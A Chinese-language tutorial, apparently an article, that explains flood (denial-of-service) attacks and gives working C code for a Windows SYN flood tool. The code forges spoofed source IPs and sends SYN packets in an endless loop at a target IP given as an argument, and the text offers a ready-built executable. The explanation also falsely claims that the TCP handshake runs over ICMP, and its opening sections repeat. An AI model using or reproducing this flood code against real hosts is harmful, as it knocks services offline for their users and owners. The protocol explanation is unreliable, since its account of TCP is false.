洪水之猛、势不可挡。如果将洪水比作对计算机的攻击，那大家可以想象得出，攻击是多的猛烈。
在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包，使得目标机器忙于处理这些无用的数据包，而无法处理正常的数据包。在攻击过程中，目标机器的CPU的使用率将高于正常值，有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话，如果要使某个电话瘫痪，就不停地拨这个电话的号码，那么其它的电话就无法拨通这个电话，当然，要想不接到骚扰电话，唯一的方法是将电话线拔了。同样，要想计算机完全避免洪水攻击的唯一方法，就是不让这台计算机上网，更直接的就是将网线拔了。
二、 洪水攻击的原理
洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击，本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。
那么什么是TCP的三次握手呢？其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数，如果参数正确，目标机器的服务可用的话，这个TCP连接就会成功。之所以连接这么方便，是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢？
我们由网络7层可知，在TCP所在的传输层下面是网络层，在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前，必须先通过ICMP(Internet Control Message Protcol)协议对连接进行验证。那么如何验证呢？
假设有两台机器A和B。A使用TCP协议连接B，在建立连接之前，A先发一个ICMP报文（就是一个数据包）给B，B在接收到这个数据包后，利用ICMP报文中的源地址（也就是A的IP）再给A发一个ICMP报文，A在接到这个ICMP报文后，又给B发了一个ICMP报文，B如果成功接到这个报文后，就正式和A建立TCP连接。过程示意如图1所示：
 图1 TCP连接的三次握手 |
问题就出在第二次握手上。如果是ICMP的报文的话，ICMP的源地址应该是A的IP，但如果是一个非法的ICMP报文的话，ICMP的源地址可能并不是A的IP，也许就是一个并不存在的IP。如果是这样，那在第二次握手时，B也就无法找到A了，这当然就不可能发生第三次握手。因为，B找不到A，而A又迟迟得不到B的回信，这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接，而是要耗尽B的资源。由于B找不到A，B也就无法得到A的回信，如果这种情况发生，B并不会将在第一次握手中建立的资源马上释放，而会有一个超时，假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接数据包，就意味着B要维护这10000个连接资源。如果过了10秒，B释放了这些资源，A在下一个10称还会发10000个连接包。如果A不断地发这样数据包，就意味着B将永远要维护这10000个连接，因此，B的CPU和内存将被耗尽，至少也得被占用大部分。所以B就无法响应其它机器的请求，或者是响应迟缓。
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一、 什么是洪水攻击
洪水之猛、势不可挡。如果将洪水比作对计算机的攻击，那大家可以想象得出，攻击是多的猛烈。
在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包，使得目标机器忙于处理这些无用的数据包，而无法处理正常的数据包。在攻击过程中，目标机器的CPU的使用率将高于正常值，有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话，如果要使某个电话瘫痪，就不停地拨这个电话的号码，那么其它的电话就无法拨通这个电话，当然，要想不接到骚扰电话，唯一的方法是将电话线拔了。同样，要想计算机完全避免洪水攻击的唯一方法，就是不让这台计算机上网，更直接的就是将网线拔了。
二、 洪水攻击的原理
洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击，本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。
那么什么是TCP的三次握手呢？其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数，如果参数正确，目标机器的服务可用的话，这个TCP连接就会成功。之所以连接这么方便，是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢？
我们由网络7层可知，在TCP所在的传输层下面是网络层，在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前，必须先通过ICMP(Internet Control Message Protcol)协议对连接进行验证。那么如何验证呢？
假设有两台机器A和B。A使用TCP协议连接B，在建立连接之前，A先发一个ICMP报文（就是一个数据包）给B，B在接收到这个数据包后，利用ICMP报文中的源地址（也就是A的IP）再给A发一个ICMP报文，A在接到这个ICMP报文后，又给B发了一个ICMP报文，B如果成功接到这个报文后，就正式和A建立TCP连接。过程示意如图1所示：
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图1 TCP连接的三次握手 |
问题就出在第二次握手上。如果是ICMP的报文的话，ICMP的源地址应该是A的IP，但如果是一个非法的ICMP报文的话，ICMP的源地址可能并不是A的IP，也许就是一个并不存在的IP。如果是这样，那在第二次握手时，B也就无法找到A了，这当然就不可能发生第三次握手。因为，B找不到A，而A又迟迟得不到B的回信，这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接，而是要耗尽B的资源。由于B找不到A，B也就无法得到A的回信，如果这种情况发生，B并不会将在第一次握手中建立的资源马上释放，而会有一个超时，假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接数据包，就意味着B要维护这10000个连接资源。如果过了10秒，B释放了这些资源，A在下一个10称还会发10000个连接包。如果A不断地发这样数据包，就意味着B将永远要维护这10000个连接，因此，B的CPU和内存将被耗尽，至少也得被占用大部分。所以B就无法响应其它机器的请求，或者是响应迟缓。
三、 洪水攻击的实现
在上一部分我们讨论了洪水攻击原理，在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。
由于ICMP报文是用IP协议发送的，因此，我们需要自己定义IP数据包的数据结构，这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。
| typedef struct _iphdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度（字节） unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 } IP_HEADER; |
这个结构比较复杂，我们只看其中3个，其余的成员可以参考《TCP/IP详解 卷1：协议》的相关部分。最后两个成员sourceIP和destIP就是上述所说的A和B的IP。而最重要的就是checksum，这个参数是一个验证码，用于验证发送的IP数据包的正确性，我们把这个验证码称为校验和。计算它的函数如下：
| USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } |
看了上面的代码也许会有很多疑问，下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的，而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和，首先把校验和字段赋为0。然后，对首部中每个16位进行二进制白马反码求和（我们可以将整个IP首部看成是由一组16位的字组成），将结果保存在校验和字段中。当收到一份IP数据报后，同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和，因此，如果首部在传输过程中没有发生任何差错，那么接收方计算的结果应该全是1.如果结果不全是1（即校验和错误），那么IP就丢弃收到的数据报。但不生成差错报文，由上层（如TCP协议）去发现丢失的数据报并进行重传。
由于我们要发送假的TCP连接包，因此，为分别定义一个伪TCP首部和真正的TCP首部。
| struct //定义TCP伪首部 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //协议类型 unsigned short tcpl; //TCP长度 } psd_header; typedef struct _tcphdr //定义TCP首部 { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres;//4位首部长度/6位保留字 unsigned char th_flag;//6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量 } TCP_HEADER; |
在以上的准备工作都完成后，就可以写main函数中的内容了。下面是程序的定义部分。
| #include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #define SEQ 0x28376839 #define SYN_DEST_IP "127.0.0.1"//被攻击的默认IP #define FAKE_IP "10.168.150.1" //伪装IP的起始值，可以是任意IP #define STATUS_FAILED 0xFFFF//错误返回值 int main(int argc, char **argv) { int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0; char SendBuf[128]; // 每个数据包是128个字节 char DestIP[16]; // 要攻击的机器IP，在这里就是B的IP memset(DestIP, 0, 4); // 如果通过参数输入个IP，将DestIP赋为这IP，否则SYN_DEST_IP赋给DestIP if(argc < 2) strcpy(DestIP, SYN_DEST_IP); else strcpy(DestIP, argv[1]); // 以下是声明Socket变量和相应的数据结构 WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; … … } |
| //初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本 { fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode); ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误，输出错误信息 { fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } |
第二步就是填充刚才定义的那些数据结构
| //设置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n"); __try{ //设置发送超时 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(DestIP); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号，低四位首部长度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度（字节） ip_header.ident=1; //16位标识 ip_header.frag_and_flags=0; //3位标志位 ip_header.ttl=128; //8位生存时间TTL ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…) ip_header.checksum=0;//16位IP首部校验和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 ip_header.destIP=inet_addr(DestIP); //32位目的IP地址 //填充TCP首部 tcp_header.th_sport=htons(7000);//源端口号 tcp_header.th_dport=htons(8080);//目的端口号 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号 tcp_header.th_ack=0; //ACK序列号置为0 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位 tcp_header.th_flag=2; //SYN 标志 tcp_header.th_win=htons(16384); //窗口大小 tcp_header.th_urp=0; //偏移 tcp_header.th_sum=0; //校验和 //填充TCP伪首部（用于计算校验和，并不真正发送） psd_header.saddr=ip_header.sourceIP;//源地址 psd_header.daddr=ip_header.destIP;//目的地址 psd_header.mbz=0; psd_header.ptcl=IPPROTO_TCP;//协议类型 psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度 |
最后一步是通过一个while循环发送向目标机器发送报文
| while(1) { //每发送10000个报文输出一个标示符 printf("."); for(counter=0;counter<10000;counter++){ if(SendSEQ++==65536) SendSEQ=1;//序列号循环 //更改IP首部 ip_header.checksum=0;//16位IP首部校验和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 //更改TCP首部 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号 tcp_header.th_sum=0; //校验和 //更改TCP Pseudo Header psd_header.saddr=ip_header.sourceIP; //计算TCP校验和，计算校验和时需要包括TCP pseudo header memcpy(SendBuf,&psd_header,sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); //计算IP校验和 memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); datasize=sizeof(ip_header)+sizeof(tcp_header); ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充发送缓冲区 memcpy(SendBuf,&ip_header,sizeof(ip_header)); //发送TCP报文 ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); } } |
到现在为止，我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有一个exe程序，synflooding.exe，可以通过参数将目标IP传入exe。如synflooding 129.11.22.33，如果不带参数，默认就是本机（127.0.0.1）。软件的运行界面如图2所示，攻击后的CPU使用情况如图3如示。
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